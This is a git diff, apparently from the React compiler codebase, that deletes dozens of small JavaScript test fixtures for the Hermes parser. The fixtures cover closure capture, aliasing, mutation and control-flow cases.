@@ -1,10 +0,0 @@
-function foo() {}
-
-function Component(props) {
-  const a = [];
-  const b = {};
-  foo(a, b);
-  let _ = <div a={a} />;
-  foo(b);
-  return <div a={a} b={b} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capture-indirect-mutate-alias.js b/compiler/crates/react_hermes_parser/tests/fixtures/capture-indirect-mutate-alias.js
deleted file mode 100644
index 9123c960ad9d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capture-indirect-mutate-alias.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function component(a) {
-  let x = { a };
-  (function () {
-    let q = x;
-    (function () {
-      q.b = 1;
-    })();
-  })();
-
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capture-param-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/capture-param-mutate.js
deleted file mode 100644
index 4ffdaa410ff2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capture-param-mutate.js
+++ /dev/null
@@ -1,37 +0,0 @@
-function getNativeLogFunction(level) {
-  return function () {
-    let str;
-    if (arguments.length === 1 && typeof arguments[0] === "string") {
-      str = arguments[0];
-    } else {
-      str = Array.prototype.map
-        .call(arguments, function (arg) {
-          return inspect(arg, {
-            depth: 10,
-          });
-        })
-        .join(", ");
-    }
-    const firstArg = arguments[0];
-    let logLevel = level;
-    if (
-      typeof firstArg === "string" &&
-      firstArg.slice(0, 9) === "Warning: " &&
-      logLevel >= LOG_LEVELS.error
-    ) {
-      logLevel = LOG_LEVELS.warn;
-    }
-    if (global.__inspectorLog) {
-      global.__inspectorLog(
-        INSPECTOR_LEVELS[logLevel],
-        str,
-        [].slice.call(arguments),
-        INSPECTOR_FRAMES_TO_SKIP
-      );
-    }
-    if (groupStack.length) {
-      str = groupFormat("", str);
-    }
-    global.nativeLoggingHook(str, logLevel);
-  };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capture_mutate-across-fns.js b/compiler/crates/react_hermes_parser/tests/fixtures/capture_mutate-across-fns.js
deleted file mode 100644
index 295d7434e816..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capture_mutate-across-fns.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function component(a) {
-  let z = { a };
-  (function () {
-    (function () {
-      z.b = 1;
-    })();
-  })();
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-arrow-function-1.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-arrow-function-1.js
deleted file mode 100644
index 1974b68dd62b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-arrow-function-1.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function component(a) {
-  let z = { a };
-  let x = () => {
-    console.log(z);
-  };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-fun-alias-captured-mutate-2.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-fun-alias-captured-mutate-2.js
deleted file mode 100644
index d00593e420f0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-fun-alias-captured-mutate-2.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
-  (function () {
-    let a = { y };
-    let b = x;
-    a.x = b;
-  })();
-  mutate(y);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-fun-alias-captured-mutate-arr-2.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-fun-alias-captured-mutate-arr-2.js
deleted file mode 100644
index de0c6bce45ca..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-fun-alias-captured-mutate-arr-2.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
-  (function () {
-    let a = [y];
-    let b = x;
-    a.x = b;
-  })();
-  mutate(y);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-captured-mutate-arr.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-captured-mutate-arr.js
deleted file mode 100644
index 91dd760b6f27..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-captured-mutate-arr.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
-  (function () {
-    let a = [y];
-    let b = x;
-    a.x = b;
-  })();
-  mutate(y);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-captured-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-captured-mutate.js
deleted file mode 100644
index fc1954b5545e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-captured-mutate.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
-  (function () {
-    let a = { y };
-    let b = x;
-    a.x = b;
-  })();
-  mutate(y);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-computed-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-computed-mutate.js
deleted file mode 100644
index f8a365a28343..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-computed-mutate.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function component(a) {
-  let x = { a };
-  let y = {};
-  (function () {
-    y["x"] = x;
-  })();
-  mutate(y);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-mutate.js
deleted file mode 100644
index 8ea83e13bc73..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-mutate.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function component(a) {
-  let x = { a };
-  let y = {};
-  (function () {
-    y.x = x;
-  })();
-  mutate(y);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-receiver-computed-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-receiver-computed-mutate.js
deleted file mode 100644
index dba7a25cf157..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-receiver-computed-mutate.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function component(a) {
-  let x = { a };
-  let y = {};
-  (function () {
-    let a = y;
-    a["x"] = x;
-  })();
-  mutate(y);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-receiver-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-receiver-mutate.js
deleted file mode 100644
index 0599917f1b5b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-alias-receiver-mutate.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function component(a) {
-  let x = { a };
-  let y = {};
-  (function () {
-    let a = y;
-    a.x = x;
-  })();
-  mutate(y);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-mutate-2.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-mutate-2.js
deleted file mode 100644
index 91b600968d64..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-mutate-2.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function component(a, b) {
-  let y = { b };
-  let z = { a };
-  let x = function () {
-    z.a = 2;
-    y.b;
-  };
-  x();
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-mutate-3.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-mutate-3.js
deleted file mode 100644
index 92d43436424e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-mutate-3.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function component(a, b) {
-  let y = { b };
-  let z = { a };
-  let x = function () {
-    z.a = 2;
-    y.b;
-  };
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-mutate-nested.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-mutate-nested.js
deleted file mode 100644
index 8d01fd0c107e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-mutate-nested.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function component(a) {
-  let y = { b: { a } };
-  let x = function () {
-    y.b.a = 2;
-  };
-  x();
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-mutate.js
deleted file mode 100644
index 84e88a0328e0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-mutate.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function component(a, b) {
-  let z = { a };
-  let y = { b };
-  let x = function () {
-    z.a = 2;
-    console.log(y.b);
-  };
-  x();
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-simple-alias.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-simple-alias.js
deleted file mode 100644
index 68848ba7e3aa..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-func-simple-alias.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function component(a) {
-  let x = { a };
-  let y = {};
-  (function () {
-    y = x;
-  })();
-  mutate(y);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-1.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-1.js
deleted file mode 100644
index c885885069e8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-1.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function component(a) {
-  let z = { a };
-  let x = function () {
-    console.log(z);
-  };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load-2.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load-2.js
deleted file mode 100644
index e2de4e1be4e0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load-2.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function bar(a) {
-  let x = [a];
-  let y = {};
-  (function () {
-    y = x[0][1];
-  })();
-
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load-3.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load-3.js
deleted file mode 100644
index c9ecd39960b7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load-3.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function bar(a, b) {
-  let x = [a, b];
-  let y = {};
-  let t = {};
-  (function () {
-    y = x[0][1];
-    t = x[1][0];
-  })();
-
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load-4.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load-4.js
deleted file mode 100644
index ef52aa19e82d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load-4.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function bar(a) {
-  let x = [a];
-  let y = {};
-  (function () {
-    y = x[0].a[1];
-  })();
-
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load.js
deleted file mode 100644
index 1811e870816a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-alias-computed-load.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function bar(a) {
-  let x = [a];
-  let y = {};
-  (function () {
-    y = x[0];
-  })();
-
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-capture-ref-before-rename.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-capture-ref-before-rename.js
deleted file mode 100644
index 6abd7c861242..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-capture-ref-before-rename.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function component(a, b) {
-  let z = { a };
-  (function () {
-    mutate(z);
-  })();
-  let y = z;
-
-  {
-    // z is shadowed & renamed but the lambda is unaffected.
-    let z = { b };
-    y = { y, z };
-  }
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-conditional-capture-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-conditional-capture-mutate.js
deleted file mode 100644
index 5e9234b1fca2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-conditional-capture-mutate.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// @debug
-function component(a, b) {
-  let z = { a };
-  let y = b;
-  let x = function () {
-    if (y) {
-      // we don't know for sure this mutates, so we should assume
-      // that there is no mutation so long as `x` isn't called
-      // during render
-      maybeMutate(z);
-    }
-  };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-decl.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-decl.js
deleted file mode 100644
index e7cb39a153bd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-decl.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function component(a) {
-  let t = { a };
-  function x() {
-    t.foo();
-  }
-  x(t);
-  return t;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-member-expr-arguments.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-member-expr-arguments.js
deleted file mode 100644
index 5eeb6bf8f2c0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-member-expr-arguments.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Foo(props) {
-  const onFoo = useCallback(
-    (reason) => {
-      log(props.router.location);
-    },
-    [props.router.location]
-  );
-
-  return onFoo;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-member-expr-call.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-member-expr-call.js
deleted file mode 100644
index 1b58c578bcb7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-member-expr-call.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function component({ mutator }) {
-  const poke = () => {
-    mutator.poke();
-  };
-
-  const hide = () => {
-    mutator.user.hide();
-  };
-
-  return <Foo poke={poke} hide={hide}></Foo>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-renamed-ref.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-renamed-ref.js
deleted file mode 100644
index 5ad8300381be..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-renamed-ref.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function component(a, b) {
-  let z = { a };
-  {
-    let z = { b };
-    (function () {
-      mutate(z);
-    })();
-  }
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-runs-inference.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-runs-inference.js
deleted file mode 100644
index 1482ae4594de..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-runs-inference.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function component(a, b) {
-  let z = { a };
-  let p = () => <Foo>{z}</Foo>;
-  return p();
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-shadow-captured.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-shadow-captured.js
deleted file mode 100644
index 1249264e8bb2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-shadow-captured.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function component(a) {
-  let z = { a };
-  let x = function () {
-    let z;
-    mutate(z);
-  };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-skip-computed-path.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-skip-computed-path.js
deleted file mode 100644
index 75a5bc047310..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-skip-computed-path.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function StoreLandingUnseenGiftModalContainer(a) {
-  const giftsSeen = { a };
-  return ((gift) => (gift.id ? giftsSeen[gift.id] : false))();
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-within-block.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-within-block.js
deleted file mode 100644
index 4c0975595f91..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-function-within-block.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function component(a) {
-  let z = { a };
-  let x;
-  {
-    x = function () {
-      console.log(z);
-    };
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-member-expr.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-member-expr.js
deleted file mode 100644
index 07f5a90ce52b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-member-expr.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function component(a) {
-  let z = { a };
-  let x = function () {
-    console.log(z.a);
-  };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-nested-member-call.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-nested-member-call.js
deleted file mode 100644
index 5d0c8325568e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-nested-member-call.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function component(a) {
-  let z = { a: { a } };
-  let x = function () {
-    z.a.a();
-  };
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-nested-member-expr-in-nested-func.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-nested-member-expr-in-nested-func.js
deleted file mode 100644
index aa03be2d3440..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-nested-member-expr-in-nested-func.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function component(a) {
-  let z = { a: { a } };
-  let x = function () {
-    (function () {
-      console.log(z.a.a);
-    })();
-  };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-nested-member-expr.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-nested-member-expr.js
deleted file mode 100644
index f8366207457f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-nested-member-expr.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function component(a) {
-  let z = { a: { a } };
-  let x = function () {
-    console.log(z.a.a);
-  };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-reference-changes-type.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-reference-changes-type.js
deleted file mode 100644
index 7c56dde4be4e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-reference-changes-type.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function component(a) {
-  let x = { a };
-  let y = 1;
-  (function () {
-    y = x;
-  })();
-  mutate(y);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-variable-in-nested-block.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-variable-in-nested-block.js
deleted file mode 100644
index 0c95eaf09356..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-variable-in-nested-block.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function component(a) {
-  let z = { a };
-  let x = function () {
-    {
-      console.log(z);
-    }
-  };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-variable-in-nested-function.js b/compiler/crates/react_hermes_parser/tests/fixtures/capturing-variable-in-nested-function.js
deleted file mode 100644
index b4e3379f95cc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/capturing-variable-in-nested-function.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function component(a) {
-  let z = { a };
-  let x = function () {
-    (function () {
-      console.log(z);
-    })();
-  };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/chained-assignment-context-variable.js b/compiler/crates/react_hermes_parser/tests/fixtures/chained-assignment-context-variable.js
deleted file mode 100644
index 24a48fb37834..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/chained-assignment-context-variable.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component() {
-  let x,
-    y = (x = {});
-  const foo = () => {
-    x = getObject();
-  };
-  foo();
-  return [y, x];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/chained-assignment-expressions.js b/compiler/crates/react_hermes_parser/tests/fixtures/chained-assignment-expressions.js
deleted file mode 100644
index fb4f27844c99..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/chained-assignment-expressions.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function foo() {
-  const x = { x: 0 };
-  const y = { z: 0 };
-  const z = { z: 0 };
-  x.x += y.y *= 1;
-  z.z += y.y *= x.x &= 3;
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/codegen-emit-imports-same-source.js b/compiler/crates/react_hermes_parser/tests/fixtures/codegen-emit-imports-same-source.js
deleted file mode 100644
index 4edff1c3fcae..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/codegen-emit-imports-same-source.js
+++ /dev/null
@@ -1,5 +0,0 @@
-// @enableEmitFreeze @instrumentForget
-
-function useFoo(props) {
-  return foo(props.x);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/codegen-emit-make-read-only.js b/compiler/crates/react_hermes_parser/tests/fixtures/codegen-emit-make-read-only.js
deleted file mode 100644
index 8ad3e859e6ea..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/codegen-emit-make-read-only.js
+++ /dev/null
@@ -1,11 +0,0 @@
-// @enableEmitFreeze true
-
-function MyComponentName(props) {
-  let x = {};
-  foo(x, props.a);
-  foo(x, props.b);
-
-  let y = [];
-  y.push(x);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/codegen-instrument-forget-gating-test.js b/compiler/crates/react_hermes_parser/tests/fixtures/codegen-instrument-forget-gating-test.js
deleted file mode 100644
index c4d4fba3d122..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/codegen-instrument-forget-gating-test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-// @instrumentForget @compilationMode(annotation) @gating
-
-function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/codegen-instrument-forget-test.js b/compiler/crates/react_hermes_parser/tests/fixtures/codegen-instrument-forget-test.js
deleted file mode 100644
index 5fa334ad7830..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/codegen-instrument-forget-test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-// @instrumentForget @compilationMode(annotation)
-
-function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/complex-while.js b/compiler/crates/react_hermes_parser/tests/fixtures/complex-while.js
deleted file mode 100644
index 50a77acc4941..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/complex-while.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function foo(a, b, c) {
-  label: if (a) {
-    while (b) {
-      if (c) {
-        break label;
-      }
-    }
-  }
-  return c;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/component.js b/compiler/crates/react_hermes_parser/tests/fixtures/component.js
deleted file mode 100644
index 86336ff14f76..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/component.js
+++ /dev/null
@@ -1,26 +0,0 @@
-function Component(props) {
-  const items = props.items;
-  const maxItems = props.maxItems;
-
-  const renderedItems = [];
-  const seen = new Set();
-  const max = Math.max(0, maxItems);
-  for (let i = 0; i < items.length; i += 1) {
-    const item = items.at(i);
-    if (item == null || seen.has(item)) {
-      continue;
-    }
-    seen.add(item);
-    renderedItems.push(<div>{item}</div>);
-    if (renderedItems.length >= max) {
-      break;
-    }
-  }
-  const count = renderedItems.length;
-  return (
-    <div>
-      <h1>{count} Items</h1>
-      {renderedItems}
-    </div>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/computed-call-evaluation-order.js b/compiler/crates/react_hermes_parser/tests/fixtures/computed-call-evaluation-order.js
deleted file mode 100644
index 1d0a31b46cd5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/computed-call-evaluation-order.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// Should print A, B, arg, original
-function Component() {
-  const changeF = (o) => {
-    o.f = () => console.log("new");
-  };
-  const x = {
-    f: () => console.log("original"),
-  };
-
-  (console.log("A"), x)[(console.log("B"), "f")](
-    (changeF(x), console.log("arg"), 1)
-  );
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/computed-call-spread.js b/compiler/crates/react_hermes_parser/tests/fixtures/computed-call-spread.js
deleted file mode 100644
index b933b65d4ea6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/computed-call-spread.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const x = foo[props.method](...props.a, null, ...props.b);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/computed-load-primitive-as-dependency.js b/compiler/crates/react_hermes_parser/tests/fixtures/computed-load-primitive-as-dependency.js
deleted file mode 100644
index e6d2c795c378..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/computed-load-primitive-as-dependency.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  let a = foo();
-  // freeze `a` so we know the next line cannot mutate it
-  <div>{a}</div>;
-
-  // b should be dependent on `props.a`
-  let b = bar(a[props.a] + 1);
-  return b;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/computed-store-alias.js b/compiler/crates/react_hermes_parser/tests/fixtures/computed-store-alias.js
deleted file mode 100644
index 66dc3e4943f2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/computed-store-alias.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function component(a, b) {
-  let y = { a };
-  let x = { b };
-  x["y"] = y;
-  mutate(x);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/concise-arrow-expr.js b/compiler/crates/react_hermes_parser/tests/fixtures/concise-arrow-expr.js
deleted file mode 100644
index d04270e3ac4e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/concise-arrow-expr.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function component() {
-  let [x, setX] = useState(0);
-  const handler = (v) => setX(v);
-  return <Foo handler={handler}></Foo>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/cond-deps-conditional-member-expr.js b/compiler/crates/react_hermes_parser/tests/fixtures/cond-deps-conditional-member-expr.js
deleted file mode 100644
index c7bb2cd3c056..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/cond-deps-conditional-member-expr.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// To preserve the nullthrows behavior and reactive deps of this code,
-// Forget needs to add `props.a` as a dependency (since `props.a.b` is
-// a conditional dependency, i.e. gated behind control flow)
-
-function Component(props) {
-  let x = [];
-  x.push(props.a?.b);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/conditional-break-labeled.js b/compiler/crates/react_hermes_parser/tests/fixtures/conditional-break-labeled.js
deleted file mode 100644
index 0028ebbc9a72..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/conditional-break-labeled.js
+++ /dev/null
@@ -1,15 +0,0 @@
-/**
- * props.b *does* influence `a`
- */
-function Component(props) {
-  const a = [];
-  a.push(props.a);
-  label: {
-    if (props.b) {
-      break label;
-    }
-    a.push(props.c);
-  }
-  a.push(props.d);
-  return a;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/conditional-break.js b/compiler/crates/react_hermes_parser/tests/fixtures/conditional-break.js
deleted file mode 100644
index 7b5baa9ea52d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/conditional-break.js
+++ /dev/null
@@ -1,53 +0,0 @@
-/**
- * props.b does *not* influence `a`
- */
-function ComponentA(props) {
-  const a_DEBUG = [];
-  a_DEBUG.push(props.a);
-  if (props.b) {
-    return null;
-  }
-  a_DEBUG.push(props.d);
-  return a_DEBUG;
-}
-
-/**
- * props.b *does* influence `a`
- */
-function ComponentB(props) {
-  const a = [];
-  a.push(props.a);
-  if (props.b) {
-    a.push(props.c);
-  }
-  a.push(props.d);
-  return a;
-}
-
-/**
- * props.b *does* influence `a`, but only in a way that is never observable
- */
-function ComponentC(props) {
-  const a = [];
-  a.push(props.a);
-  if (props.b) {
-    a.push(props.c);
-    return null;
-  }
-  a.push(props.d);
-  return a;
-}
-
-/**
- * props.b *does* influence `a`
- */
-function ComponentD(props) {
-  const a = [];
-  a.push(props.a);
-  if (props.b) {
-    a.push(props.c);
-    return a;
-  }
-  a.push(props.d);
-  return a;
-}
